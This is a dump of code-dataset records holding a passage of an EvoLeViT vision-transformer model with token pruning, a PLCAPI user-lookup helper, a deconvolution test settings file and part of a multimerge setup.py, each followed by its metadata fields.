pretrained=pretrained, fuse=fuse,\r\n prune_ratio=prune_ratio_list['EvoLeViT_128S_384'])\r\n\r\n\r\n@register_model\r\ndef EvoLeViT_128_384(num_classes=1000, distillation=True,\r\n pretrained=False, fuse=False):\r\n return model_factory(**specification['EvoLeViT_128_384'], num_classes=num_classes,\r\n distillation=distillation, pretrained=pretrained, fuse=fuse,\r\n prune_ratio=prune_ratio_list['EvoLeViT_128_384'])\r\n\r\n\r\n@register_model\r\ndef EvoLeViT_192_384(num_classes=1000, distillation=True,\r\n pretrained=False, fuse=False):\r\n return model_factory(**specification['EvoLeViT_192_384'], num_classes=num_classes,\r\n distillation=distillation, pretrained=pretrained, fuse=fuse,\r\n prune_ratio=prune_ratio_list['EvoLeViT_192_384'])\r\n\r\n\r\n@register_model\r\ndef EvoLeViT_256_384(num_classes=1000, distillation=True,\r\n pretrained=False, fuse=False):\r\n return model_factory(**specification['EvoLeViT_256_384'], num_classes=num_classes,\r\n distillation=distillation, pretrained=pretrained, fuse=fuse,\r\n prune_ratio=prune_ratio_list['EvoLeViT_256_384'])\r\n\r\n\r\n@register_model\r\ndef EvoLeViT_384_384(num_classes=1000, distillation=True,\r\n pretrained=False, fuse=False):\r\n return model_factory(**specification['EvoLeViT_384_384'], num_classes=num_classes,\r\n distillation=distillation, pretrained=pretrained, fuse=fuse,\r\n prune_ratio=prune_ratio_list['EvoLeViT_384_384'])\r\n\r\n\r\nglobal_attn = 0\r\nori_indices = None\r\nlearn_tradeoff_mode = True\r\n\r\n\r\ndef easy_gather(x, indices):\r\n # x: B,N,C; indices: B,N\r\n B, N, C = x.shape\r\n N_new = indices.shape[1]\r\n offset = torch.arange(B, dtype=torch.long, device=x.device).view(B, 1) * N\r\n indices = indices + offset\r\n out = x.reshape(B * N, C)[indices.view(-1)].reshape(B, N_new, C)\r\n return out\r\n\r\n\r\ndef merge_tokens(x_drop, score):\r\n # score B,N\r\n # scale\r\n weight = score / torch.sum(score, dim=1, keepdim=True)\r\n x_drop = weight.unsqueeze(-1) * x_drop\r\n return torch.sum(x_drop, dim=1, keepdim=True)\r\n\r\n\r\nclass CatModule(torch.nn.Module):\r\n def __init__(self, m1, m2, prune_ratio, N):\r\n super().__init__()\r\n self.m1 = m1\r\n self.m2 = m2\r\n self.prune_ratio = prune_ratio\r\n # self.i = i\r\n if prune_ratio < 1.0:\r\n N_ = N - int(N * prune_ratio)\r\n self.drop_fc = nn.AdaptiveAvgPool1d(1)\r\n # self.recover_fc=nn.Linear(1,N_)\r\n\r\n def set_prune_ratio(self, prune_ratio):\r\n self.prune_ratio = prune_ratio\r\n\r\n def forward(self, x_):\r\n global global_attn # ga\r\n global ori_indices # oi\r\n if self.prune_ratio < 1:\r\n x = x_[:, 1:] # split out cls token\r\n\r\n N = x.shape[1]\r\n N_ = int(N * self.prune_ratio)\r\n global_attn = global_attn.clone()\r\n indices = torch.argsort(global_attn, dim=1, descending=True)\r\n\r\n x_ga_oi = torch.cat((x, global_attn.unsqueeze(-1), ori_indices.unsqueeze(-1).half()), dim=-1)\r\n x_ga_oi = easy_gather(x_ga_oi, indices)\r\n x_ga_oi = x_ga_oi.contiguous() # todo\r\n x_sorted, global_attn, ori_indices = x_ga_oi[:, :, :-2].clone(), x_ga_oi[:, :, -2].clone(), x_ga_oi[:, :, -1].clone() # todo\r\n\r\n if self.training:\r\n x_ = torch.cat((x_[:, :1], x_sorted), dim=1)\r\n else:\r\n x_[:, 1:] = x_sorted\r\n x = x_[:, :N_ + 1]\r\n x_drop = x_[:, N_ + 1:]\r\n\r\n add_token = merge_tokens(x_drop, global_attn[:, N_:]) # B,1,C\r\n x = torch.cat((x, add_token), dim=1) # B,N+1,C\r\n\r\n x, raw_x1 = self.m1(x)\r\n x, raw_x2 = self.m2(x)\r\n x = x[:, :-1]\r\n\r\n # fast update via skip connection\r\n add_token1 = raw_x1[:, -1:]\r\n add_token2 = raw_x2[:, -1:]\r\n x_drop = x_drop + add_token1.expand(-1, x_drop.shape[1], -1) + add_token2.expand(-1, x_drop.shape[1], -1)\r\n\r\n x_ = torch.cat((x, x_drop), dim=1)\r\n # x_[:, N_ + 1:] = x_drop\r\n # x_[:, :N_ + 1] = x\r\n else:\r\n x_, _ = self.m1(x_)\r\n x_, _ = self.m2(x_)\r\n return x_\r\n\r\n\r\nclass StageModule(torch.nn.Module):\r\n def __init__(self, m, prune_ratio):\r\n super().__init__()\r\n self.m = m\r\n self.prune_ratio = prune_ratio\r\n\r\n def forward(self, x_):\r\n global global_attn # ga\r\n global ori_indices # oi\r\n\r\n if isinstance(x_, tuple):\r\n x_ = x_[0]\r\n\r\n if self.prune_ratio < 1:\r\n x = x_[:, 1:] # split out cls token\r\n\r\n N = x.shape[1]\r\n N_ = int(N * self.prune_ratio)\r\n indices = torch.argsort(global_attn, dim=1, descending=True)\r\n x_ga_oi = torch.cat((x, global_attn.unsqueeze(-1), ori_indices.unsqueeze(-1).half()), dim=-1)\r\n x_ga_oi = easy_gather(x_ga_oi, indices)\r\n x_ga_oi = x_ga_oi.contiguous() # todo\r\n x_sorted, global_attn, ori_indices = x_ga_oi[:, :, :-2].clone(), x_ga_oi[:, :, -2].clone(), x_ga_oi[:, :, -1].clone() # todo\r\n\r\n if self.training:\r\n x_ = torch.cat((x_[:, :1], x_sorted), dim=1)\r\n else:\r\n x_[:, 1:] = x_sorted\r\n\r\n x = x_[:, :N_ + 1].clone() # todo\r\n x_drop = x_[:, N_ + 1:].clone() # todo\r\n\r\n merge_weight = global_attn[:, N_:].clone() # todo\r\n add_token = merge_tokens(x_drop, merge_weight) # B,1,C\r\n x = torch.cat((x, add_token), dim=1) # B,N+1,C\r\n\r\n raw_total = 0\r\n for blk in self.m:\r\n x, raw = blk(x)\r\n raw_total = raw_total + raw[:, -1:].clone() # todo\r\n\r\n x_drop = x_drop + raw_total.expand(-1, x_drop.shape[1], -1)\r\n\r\n x = x[:, :-1]\r\n if self.training:\r\n x_ = torch.cat((x, x_drop), dim=1)\r\n else:\r\n x_[:, N_ + 1:] = x_drop\r\n x_[:, :N_ + 1] = x\r\n else:\r\n x_ = self.m(x_)\r\n return x_\r\n\r\n\r\nclass Conv2d_BN(torch.nn.Sequential):\r\n def __init__(self, a, b, ks=1, stride=1, pad=0, dilation=1,\r\n groups=1, bn_weight_init=1, resolution=-10000):\r\n super().__init__()\r\n self.add_module('c', torch.nn.Conv2d(\r\n a, b, ks, stride, pad, dilation, groups, bias=False))\r\n bn = torch.nn.BatchNorm2d(b)\r\n torch.nn.init.constant_(bn.weight, bn_weight_init)\r\n torch.nn.init.constant_(bn.bias, 0)\r\n self.add_module('bn', bn)\r\n\r\n @torch.no_grad()\r\n def fuse(self):\r\n c, bn = self._modules.values()\r\n w = bn.weight / (bn.running_var + bn.eps) ** 0.5\r\n w = c.weight * w[:, None, None, None]\r\n b = bn.bias - bn.running_mean * bn.weight / \\\r\n (bn.running_var + bn.eps) ** 0.5\r\n m = torch.nn.Conv2d(w.size(1), w.size(\r\n 0), w.shape[2:], stride=self.c.stride, padding=self.c.padding, dilation=self.c.dilation,\r\n groups=self.c.groups)\r\n m.weight.data.copy_(w)\r\n m.bias.data.copy_(b)\r\n return m\r\n\r\n\r\nclass Linear_BN(torch.nn.Sequential):\r\n def __init__(self, a, b, bn_weight_init=1, resolution=-100000):\r\n super().__init__()\r\n self.add_module('c', torch.nn.Linear(a, b, bias=False))\r\n bn = torch.nn.BatchNorm1d(b)\r\n torch.nn.init.constant_(bn.weight, bn_weight_init)\r\n torch.nn.init.constant_(bn.bias, 0)\r\n self.add_module('bn', bn)\r\n\r\n @torch.no_grad()\r\n def fuse(self):\r\n l, bn = self._modules.values()\r\n w = bn.weight / (bn.running_var + bn.eps) ** 0.5\r\n w = l.weight * w[:, None]\r\n b = bn.bias - bn.running_mean * bn.weight / \\\r\n (bn.running_var + bn.eps) ** 0.5\r\n m = torch.nn.Linear(w.size(1), w.size(0))\r\n m.weight.data.copy_(w)\r\n m.bias.data.copy_(b)\r\n return m\r\n\r\n def forward(self, x):\r\n l, bn = self._modules.values()\r\n x = l(x)\r\n return bn(x.flatten(0, 1)).reshape_as(x)\r\n\r\n\r\nclass BN_Linear(torch.nn.Sequential):\r\n def __init__(self, a, b, bias=True, std=0.02):\r\n super().__init__()\r\n self.add_module('bn', torch.nn.BatchNorm1d(a))\r\n l = torch.nn.Linear(a, b, bias=bias)\r\n trunc_normal_(l.weight, std=std)\r\n if bias:\r\n torch.nn.init.constant_(l.bias, 0)\r\n self.add_module('l', l)\r\n\r\n @torch.no_grad()\r\n def fuse(self):\r\n bn, l = self._modules.values()\r\n w = bn.weight / (bn.running_var + bn.eps) ** 0.5\r\n b = bn.bias - self.bn.running_mean * \\\r\n self.bn.weight / (bn.running_var + bn.eps) ** 0.5\r\n w = l.weight * w[None, :]\r\n if l.bias is None:\r\n b = b @ self.l.weight.T\r\n else:\r\n b = (l.weight @ b[:, None]).view(-1) + self.l.bias\r\n m = torch.nn.Linear(w.size(1), w.size(0))\r\n m.weight.data.copy_(w)\r\n m.bias.data.copy_(b)\r\n return m\r\n\r\n\r\ndef b16(n, activation, resolution=224):\r\n return torch.nn.Sequential(\r\n Conv2d_BN(3, n // 8, 3, 2, 1, resolution=resolution),\r\n activation(),\r\n Conv2d_BN(n // 8, n // 4, 3, 2, 1, resolution=resolution // 2),\r\n activation(),\r\n Conv2d_BN(n // 4, n // 2, 3, 2, 1, resolution=resolution // 4),\r\n activation(),\r\n Conv2d_BN(n // 2, n, 3, 2, 1, resolution=resolution // 8))\r\n\r\n\r\nclass Residual(torch.nn.Module):\r\n def __init__(self, m, drop, out_raw=False):\r\n super().__init__()\r\n self.m = m\r\n self.drop = drop\r\n self.out_raw = out_raw\r\n\r\n def set_prune_ratio(self, prune_ratio):\r\n pass\r\n\r\n def forward(self, x):\r\n if isinstance(x, tuple):\r\n x = x[0]\r\n if self.training and self.drop > 0:\r\n raw = self.m(x) * torch.rand(x.size(0), 1, 1,\r\n device=x.device).ge_(self.drop).div(1 - self.drop).detach()\r\n else:\r\n raw = self.m(x)\r\n if self.out_raw:\r\n return x + raw, raw\r\n else:\r\n return x + raw\r\n\r\n\r\nclass MatmulApply(torch.autograd.Function):\r\n @staticmethod\r\n def forward(ctx, self, mat2):\r\n ctx.save_for_backward(self, mat2)\r\n result = torch.matmul(self, mat2.transpose(-2, -1))\r\n return result\r\n @staticmethod\r\n def backward(ctx, grad):\r\n self, mat2 = ctx.saved_tensors\r\n self_grad = torch_npu.npu_bmmV2(grad, mat2, [])\r\n mat2_grad = torch_npu.npu_bmmV2(grad.transpose(-2, -1), self, [])\r\n return self_grad, mat2_grad\r\n\r\nmatmul_transpose = MatmulApply.apply\r\n\r\n\r\nclass Attention(torch.nn.Module):\r\n def __init__(self, dim, key_dim, num_heads=8,\r\n attn_ratio=4,\r\n activation=None,\r\n resolution=14, posembed=False, global_attn_tradeoff=0.5):\r\n super().__init__()\r\n self.tradeoff = global_attn_tradeoff\r\n\r\n self.learn_tradeoff = torch.nn.Parameter(torch.Tensor([0]))\r\n self.sigmoid = torch.nn.Sigmoid()\r\n\r\n self.num_heads = num_heads\r\n self.scale = key_dim ** -0.5\r\n self.key_dim = key_dim\r\n self.nh_kd = nh_kd = key_dim * num_heads\r\n self.d = int(attn_ratio * key_dim)\r\n self.dh = int(attn_ratio * key_dim) * num_heads\r\n self.attn_ratio = attn_ratio\r\n h = self.dh + nh_kd * 2\r\n self.qkv = Linear_BN(dim, h, resolution=resolution)\r\n self.proj = torch.nn.Sequential(activation(), Linear_BN(\r\n self.dh, dim, bn_weight_init=0, resolution=resolution))\r\n\r\n self.pos_embed = posembed\r\n\r\n @torch.no_grad()\r\n def train(self, mode=True):\r\n super().train(mode)\r\n if mode and hasattr(self, 'ab'):\r\n del self.ab\r\n\r\n def forward(self, x): # x (B,N,C)\r\n global global_attn\r\n global learn_tradeoff_mode\r\n\r\n B, N, C = x.shape\r\n qkv = self.qkv(x)\r\n q, k, v = qkv.view(B, N, self.num_heads, -\r\n 1).split([self.key_dim, self.key_dim, self.d], dim=3)\r\n\r\n q = q.permute(0, 2, 1, 3).contiguous()\r\n k = k.permute(0, 2, 1, 3).contiguous()\r\n v = v.permute(0, 2, 1, 3).contiguous()\r\n\r\n # attn_raw = (q @ k.transpose(-2, -1)) * self.scale\r\n attn_raw = matmul_transpose(q, k) * self.scale # todo\r\n\r\n attn = attn_raw.softmax(dim=-1)\r\n\r\n # update global attn\r\n if learn_tradeoff_mode:\r\n tradeoff = self.sigmoid(self.learn_tradeoff)\r\n else:\r\n tradeoff = self.tradeoff\r\n\r\n if isinstance(global_attn, int):\r\n cls_attn = torch.mean(attn[:, :, 0, 1:], dim=1) # B,N\r\n global_attn = cls_attn\r\n else:\r\n if global_attn.shape[1] - N + 2 == 1:\r\n # no additional token and no pruning\r\n cls_attn = torch.mean(attn[:, :, 0, 1:], dim=1)\r\n global_attn = (1 - tradeoff) * global_attn + tradeoff * cls_attn\r\n else:\r\n cls_attn = torch.mean(attn[:, :, 0, 1:-1], dim=1)\r\n\r\n if self.training:\r\n temp_attn = (1 - tradeoff) * global_attn[:, :N - 2] + tradeoff * cls_attn\r\n global_attn = torch.cat((temp_attn, global_attn[:, N - 2:]), dim=1)\r\n else:\r\n global_attn[:, :N - 2] = (1 - tradeoff) * global_attn[:, :N - 2] + tradeoff * cls_attn\r\n\r\n # x = (attn @ v).transpose(1, 2).reshape(B, N, self.dh)\r\n x = torch_npu.npu_confusion_transpose((attn @ v), [0, 2, 1, 3], (B, N, self.dh), True) # todo\r\n x = self.proj(x)\r\n return x\r\n\r\n\r\nclass Subsample(torch.nn.Module):\r\n def __init__(self, stride, resolution):\r\n super().__init__()\r\n self.stride = stride\r\n self.resolution = resolution\r\n\r\n def forward(self, x, with_cls=True):\r\n if with_cls:\r\n B, N, C = x.shape\r\n x1 = x[:, 1:, :]\r\n x1 = x1.view(B, self.resolution, self.resolution, C)[\r\n :, ::self.stride, ::self.stride].reshape(B, -1, C).contiguous()\r\n x = torch.cat((x[:, :1, :], x1), dim=1)\r\n else:\r\n B, N, C = x.shape\r\n x = x.view(B, self.resolution, self.resolution, C)[\r\n :, ::self.stride, ::self.stride].reshape(B, -1, C).contiguous()\r\n return x\r\n\r\n\r\nclass AttentionSubsample(torch.nn.Module):\r\n def __init__(self, in_dim, out_dim, key_dim, num_heads=8,\r\n attn_ratio=2,\r\n activation=None,\r\n stride=2,\r\n resolution=14, resolution_=7, posembed=False, global_attn_tradeoff=0.5):\r\n super().__init__()\r\n self.tradeoff = global_attn_tradeoff\r\n\r\n self.learn_tradeoff = torch.nn.Parameter(torch.Tensor([0]))\r\n self.sigmoid = torch.nn.Sigmoid()\r\n\r\n self.num_heads = num_heads\r\n self.scale = key_dim ** -0.5\r\n self.key_dim = key_dim\r\n self.nh_kd = nh_kd = key_dim * num_heads\r\n self.d = int(attn_ratio * key_dim)\r\n self.dh = int(attn_ratio * key_dim) * self.num_heads\r\n self.attn_ratio = attn_ratio\r\n self.resolution_ = resolution_\r\n self.resolution_2 = resolution_ ** 2\r\n h = self.dh + nh_kd\r\n self.kv = Linear_BN(in_dim, h, resolution=resolution)\r\n\r\n self.q = torch.nn.Sequential(\r\n Subsample(stride, resolution),\r\n Linear_BN(in_dim, nh_kd, resolution=resolution_))\r\n self.proj = torch.nn.Sequential(activation(), Linear_BN(\r\n self.dh, out_dim, resolution=resolution_))\r\n\r\n self.pos_embed = posembed\r\n if posembed:\r\n self.poss = nn.Parameter(torch.zeros(1, resolution ** 2 + 1, in_dim))\r\n trunc_normal_(self.poss, std=.02)\r\n\r\n self.stride = stride\r\n self.resolution = resolution\r\n\r\n @torch.no_grad()\r\n def train(self, mode=True):\r\n super().train(mode)\r\n if mode and hasattr(self, 'ab'):\r\n del self.ab\r\n\r\n def set_prune_ratio(self, prune_ratio):\r\n pass\r\n\r\n def forward(self, x):\r\n global global_attn # ga\r\n global ori_indices # oi\r\n global learn_tradeoff_mode\r\n\r\n if isinstance(x, tuple):\r\n x = x[0]\r\n\r\n # recover sequence\r\n old_global_scale = torch.sum(global_attn, dim=1, keepdim=True)\r\n\r\n x_patch = x[:, 1:]\r\n ori_indices = ori_indices.clone()\r\n indices = torch.argsort(ori_indices, dim=1)\r\n x_ga_oi = torch.cat((x_patch, global_attn.unsqueeze(-1), ori_indices.unsqueeze(-1)), dim=-1)\r\n x_ga_oi = easy_gather(x_ga_oi, indices)\r\n x_ga_oi = x_ga_oi.contiguous() # todo\r\n x_patch, ga_oi = x_ga_oi[:, :, :-2].clone(), x_ga_oi[:, :, -2:].clone() # todo\r\n\r\n # subsample global attn and ori indices\r\n ga_oi = self.q[0](ga_oi, False)\r\n global_attn, ori_indices = ga_oi[:, :, 0].clone(), ga_oi[:, :, 1].clone() # todo\r\n\r\n # global_attn, ori_indices = ga_oi[:, :, 0], ga_oi[:, :, 1]\r\n\r\n if self.training:\r\n x = torch.cat((x[:, :1], x_patch), dim=1)\r\n else:\r\n x[:, 1:] = x_patch\r\n\r\n x = x + self.poss\r\n B, N, C = x.shape\r\n k, v = self.kv(x).view(B, N, self.num_heads, -\r\n 1).split([self.key_dim, self.d], dim=3)\r\n k = k.permute(0, 2, 1, 3).contiguous() # BHNC\r\n v = v.permute(0, 2, 1, 3).contiguous() # BHNC\r\n q = self.q(x).view(B, self.resolution_2 + 1, self.num_heads,\r\n self.key_dim).permute(0, 2, 1, 3)\r\n\r\n # attn_raw = (q @ k.transpose(-2, -1)) * self.scale\r\n attn_raw = matmul_transpose(q, k) * self.scale # todo\r\n\r\n attn = attn_raw.softmax(dim=-1)\r\n\r\n cls_attn = torch.mean(attn[:, :, 0, 1:], dim=1) # B,N\r\n cls_attn = self.q[0](cls_attn.unsqueeze(-1), False).squeeze(-1)\r\n\r\n if learn_tradeoff_mode:\r\n tradeoff = self.sigmoid(self.learn_tradeoff)\r\n else:\r\n tradeoff = self.tradeoff\r\n\r\n global_attn = (1 - tradeoff) * global_attn + tradeoff * cls_attn\r\n\r\n # normalize global attention\r\n new_global_scale = torch.sum(global_attn, dim=1, keepdim=True)\r\n scale = old_global_scale / new_global_scale\r\n global_attn = global_attn * scale\r\n\r\n x = (attn @ v).transpose(1, 2).reshape(B, -1, self.dh)\r\n x = self.proj(x)\r\n return x\r\n\r\n\r\nclass LeViT(torch.nn.Module):\r\n \"\"\" Vision Transformer with support for patch or hybrid CNN input stage\r\n \"\"\"\r\n\r\n def __init__(self, img_size=384,\r\n patch_size=16,\r\n in_chans=3,\r\n num_classes=1000,\r\n embed_dim=[192],\r\n key_dim=[64],\r\n depth=[12],\r\n num_heads=[3],\r\n attn_ratio=[2],\r\n mlp_ratio=[2],\r\n hybrid_backbone=None,\r\n down_ops=[],\r\n attention_activation=torch.nn.Hardswish,\r\n mlp_activation=torch.nn.Hardswish,\r\n distillation=True,\r\n drop_path=0, prune_ratio=None):\r\n super().__init__()\r\n\r\n self.stage_wise_prune = True\r\n\r\n self.num_classes = num_classes\r\n self.num_features = embed_dim[-1]\r\n self.embed_dim = embed_dim\r\n self.distillation = distillation\r\n self.cls_token = nn.Parameter(torch.zeros(1, 1, embed_dim[0]))\r\n\r\n self.patch_embed = hybrid_backbone\r\n\r\n self.pos_embed = True\r\n\r\n self.blocks = []\r\n self.stage_blocks = []\r\n\r\n down_ops.append([''])\r\n resolution = img_size // patch_size\r\n if self.pos_embed:\r\n self.poss = nn.Parameter(torch.zeros(1, resolution ** 2 + 1, embed_dim[0]))\r\n trunc_normal_(self.poss, std=.02)\r\n\r\n self.prune_ratio = prune_ratio[0]\r\n self.stage_prune_ratio = prune_ratio[1]\r\n\r\n layer_index = -1\r\n n = 14\r\n j = 0\r\n\r\n for i, (ed, kd, dpth, nh, ar, mr, do) in enumerate(\r\n zip(embed_dim, key_dim, depth, num_heads, attn_ratio, mlp_ratio, down_ops)):\r\n stage_subblocks = []\r\n for _ in range(dpth):\r\n layer_index += 1\r\n\r\n m1 = Residual(Attention(\r\n ed, kd, nh,\r\n attn_ratio=ar,\r\n activation=attention_activation,\r\n resolution=resolution,\r\n posembed=self.pos_embed\r\n ), drop_path, out_raw=True)\r\n if self.prune_ratio[layer_index] == 1:\r\n self.stage_blocks.append(m1)\r\n else:\r\n stage_subblocks.append(m1)\r\n\r\n if mr > 0:\r\n h = int(ed * mr)\r\n m2 = Residual(torch.nn.Sequential(\r\n Linear_BN(ed, h, resolution=resolution),\r\n mlp_activation(),\r\n Linear_BN(h, ed, bn_weight_init=0,\r\n resolution=resolution),\r\n ), drop_path, out_raw=True)\r\n else:\r\n m2 = torch.nn.Identity()\r\n\r\n if self.prune_ratio[layer_index] == 1:\r\n self.stage_blocks.append(m2)\r\n else:\r\n stage_subblocks.append(m2)\r\n\r\n self.blocks.append(CatModule(m1, m2, prune_ratio=self.prune_ratio[layer_index], N=n ** 2))\r\n if self.prune_ratio[layer_index] < 1:\r\n j = j + 1\r\n\r\n if len(stage_subblocks) != 0:\r\n stage_subblocks = torch.nn.ModuleList(stage_subblocks)\r\n self.stage_blocks.append(StageModule(stage_subblocks, prune_ratio=self.stage_prune_ratio[i]))\r\n\r\n if do[0] == 'Subsample':\r\n n = int((n + 1) / 2)\r\n # ('Subsample',key_dim, num_heads, attn_ratio, mlp_ratio, stride)\r\n resolution_ = (resolution - 1) // do[5] + 1\r\n subsample = AttentionSubsample(\r\n *embed_dim[i:i + 2], key_dim=do[1], num_heads=do[2],\r\n attn_ratio=do[3],\r\n activation=attention_activation,\r\n stride=do[5],\r\n resolution=resolution,\r\n resolution_=resolution_,\r\n posembed=self.pos_embed)\r\n self.blocks.append(subsample)\r\n self.stage_blocks.append(subsample)\r\n\r\n resolution = resolution_\r\n if do[4] > 0: # mlp_ratio\r\n h = int(embed_dim[i + 1] * do[4])\r\n ffn = Residual(torch.nn.Sequential(\r\n Linear_BN(embed_dim[i + 1], h,\r\n resolution=resolution),\r\n mlp_activation(),\r\n Linear_BN(\r\n h, embed_dim[i + 1], bn_weight_init=0, resolution=resolution),\r\n ), drop_path)\r\n self.blocks.append(ffn)\r\n self.stage_blocks.append(ffn)\r\n\r\n self.blocks = torch.nn.Sequential(*self.blocks)\r\n self.stage_blocks = torch.nn.Sequential(*self.stage_blocks)\r\n\r\n # Classifier head\r\n self.head = BN_Linear(\r\n embed_dim[-1], num_classes) if num_classes > 0 else torch.nn.Identity()\r\n if distillation:\r\n self.head_dist = BN_Linear(\r\n embed_dim[-1], num_classes) if num_classes > 0 else torch.nn.Identity()\r\n self.clsc = True\r\n if self.clsc:\r\n self.head_cls = BN_Linear(\r\n embed_dim[-1], num_classes) if num_classes > 0 else torch.nn.Identity()\r\n if distillation:\r\n self.head_cls_dist = BN_Linear(\r\n embed_dim[-1], num_classes) if num_classes > 0 else torch.nn.Identity()\r\n\r\n @torch.jit.ignore\r\n def no_weight_decay(self):\r\n return {x for x in self.state_dict().keys() if 'poss' in x}\r\n\r\n def set_learn_tradeoff(self, mode):\r\n global learn_tradeoff_mode\r\n learn_tradeoff_mode = mode\r\n\r\n def set_prune_ratio(self, mode):\r\n pass\r\n\r\n def remove_cls(self):\r\n if hasattr(self, 'head_cls'):\r\n del self.head_cls\r\n if hasattr(self, 'head_cls_dist'):\r\n del self.head_cls_dist\r\n\r\n def forward(self, x):\r\n global global_attn\r\n global ori_indices\r\n global learn_tradeoff_mode\r\n\r\n global_attn = 0\r\n\r\n x = self.patch_embed(x)\r\n x = x.flatten(2).transpose(1, 2)\r\n\r\n ori_indices = torch.arange(x.shape[1], dtype=torch.long, device=x.device).unsqueeze(0)\r\n ori_indices = ori_indices.expand(x.shape[0], -1)\r\n\r\n cls_token = self.cls_token.expand(x.shape[0], -1, -1)\r\n x = torch.cat((cls_token, x), 1)\r\n if self.pos_embed:\r\n x = x + self.poss\r\n\r\n if self.stage_wise_prune:\r\n x = self.stage_blocks(x)\r\n else:\r\n x = self.blocks(x)\r\n\r\n cls = x[:, 0, :]\r\n x = x[:, 1:, :]\r\n x = x.mean(1)\r\n if self.distillation:\r\n x = self.head(x), self.head_dist(x)\r\n if self.clsc:\r\n if self.training:\r\n xcls = self.head_cls(cls)\r\n xcls_dist = self.head_cls_dist(cls)\r\n return x[0], x[1], xcls, xcls_dist\r\n else:\r\n return (x[0] + x[1]) / 2\r\n if not self.training:\r\n x = (x[0] + x[1]) / 2\r\n\r\n else:\r\n x = self.head(x)\r\n return x\r\n\r\n\r\ndef model_factory(C, D, X, N, drop_path, weights,\r\n num_classes, distillation, pretrained, fuse, prune_ratio):\r\n embed_dim = [int(x) for x in C.split('_')]\r\n num_heads = [int(x) for x in N.split('_')]\r\n depth = [int(x) for x in X.split('_')]\r\n act = torch.nn.Hardswish\r\n model = LeViT(\r\n patch_size=16,\r\n embed_dim=embed_dim,\r\n num_heads=num_heads,\r\n key_dim=[D] * 3,\r\n depth=depth,\r\n attn_ratio=[2, 2, 2],\r\n mlp_ratio=[2, 2, 2],\r\n down_ops=[\r\n # ('Subsample',key_dim, num_heads, attn_ratio, mlp_ratio, stride)\r\n ['Subsample', D, embed_dim[0] // D, 4, 2, 2],\r\n ['Subsample', D, embed_dim[1] // D, 4, 2, 2],\r\n ],\r\n attention_activation=act,\r\n mlp_activation=act,\r\n hybrid_backbone=b16(embed_dim[0], activation=act),\r\n num_classes=num_classes,\r\n drop_path=drop_path,\r\n distillation=distillation,\r\n prune_ratio=prune_ratio\r\n )\r\n if pretrained:\r\n checkpoint = torch.hub.load_state_dict_from_url(\r\n weights, map_location='cpu')\r\n model.load_state_dict(checkpoint['model'])\r\n if fuse:\r\n utils.replace_batchnorm(model)\r\n\r\n return model\r\n\r\n\r\nif __name__ == '__main__':\r\n if __name__ == '__main__':\r\n for name in specification:\r\n net = globals()[name](fuse=False, pretrained=False)\r\n net.eval()\r\n net.remove_cls()\r\n net(torch.randn(2, 3, 384, 384))\r\n print(name, 'Parameters:', sum(p.numel() for p in net.parameters() if p.requires_grad))\r\n","sub_path":"PyTorch/contrib/cv/classification/Evo-Levit_256_384/levit/evo_levit_384.py","file_name":"evo_levit_384.py","file_ext":"py","file_size_in_byte":30198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"204213360","text":"# essentially, this describes the PLCAPI endpoint details\nfrom r2lab.settings import plcapi_settings, logger\n\nfrom plc.plcapiview import init_plcapi_proxy, PlcApiView\n\nimport plc.xrn\n\n\n##########\n# this is a quick and dirty copy of the method\n# in the same name in plc/plcapi_users.py\n\ndef user_with_accounts(plc_person, slices_index):\n \"\"\"\n given a person record as returned by plc\n and a hash of slices hashed on their slice_id\n we rebuild a record that looks like what omf used to return\n \"\"\"\n omflike_record = {\n 'uuid' : plc_person['person_id'],\n 'urn' : plc.xrn.type_hrn_to_urn('user', plc_person['hrn']),\n 'email' : plc_person['email'],\n # hopefully useless :\n # 'resource_type' : 'user'\n }\n def plc_slice_account(plc_slice):\n \"\"\"\n rebuild an omf-like account record\n \"\"\"\n return {'name' : plc_slice['name'],\n # hopefully useless\n 'uuid': plc_slice['slice_id'],\n 'valid_until': PlcApiView.epoch_to_ui_ts(plc_slice['expires']),\n }\n # convert all related slices into accounts\n omflike_record['accounts'] = [\n plc_slice_account(slices_index[slice_id])\n for slice_id in plc_person['slice_ids']\n # for when expired slices are not yet garbage-collected\n if slice_id in slices_index\n ]\n omflike_record['accounts'].sort(\n key = lambda slice: slice['name'])\n return omflike_record\n\ndef get_r2lab_user(email):\n \"\"\"\n This function retrieves at the plcapi db the list of slices\n that a user is attached to, together with all the attached details \n \"\"\"\n\n plcapi = init_plcapi_proxy()\n plc_filter = {'email' : email}\n columns = ['person_id', 'email', 'slice_ids', 'hrn']\n person = plcapi.GetPersons(plc_filter, columns)[0]\n\n slices = plcapi.GetSlices( {'slice_id' : person['slice_ids']},\n ['name', 'expires', 'slice_id'])\n slices_index = { s['slice_id'] : s for s in slices }\n\n return user_with_accounts(person, slices_index)\n","sub_path":"r2lab.inria.fr/plc/plcsfauser.py","file_name":"plcsfauser.py","file_ext":"py","file_size_in_byte":2071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"244973350","text":"#!/usr/bin/env python\n\"\"\"\nSettings to use in fista decon testing.\n\nHazen 11/17\n\"\"\"\n\ncamera_gain = 1.0\ncamera_offset = 100.0\niterations = 1\nn_frames = 1\nnx = 14\nny = 9\n#nx = 1\n#ny = 1\n#photons = [[20, 500], [20, 1000]]\nphotons = [[20, 4000]]\npixel_size = 100.0\nspline_size = 10\nspline_z_range = 0.75\ntest_z_range = 0.5\ntest_z_offset = 0.0\ntolerance = 0.3\nuse_dh = True\nuse_fista = 1\nx_size = 300\ny_size = 200\nzmn = [[1.3, 2, 2]]\n","sub_path":"P2 SILM-IBT/storm_analysis/diagnostics/fista_decon/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"171301212","text":"from setuptools import setup, Extension\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetup(\n name=\"multimerge\",\n version=\"0.1\",\n description=\"A faster multi-way merge algorithm interchangeable with heapq.merge\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n author=\"Dennis Sweeney\",\n author_email=\"sweeney.dennis650@osu.edu\",\n license=\"MIT\",\n ext_modules=[Extension(\"multimerge\", [\"multimergemodule.c\"])],\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n 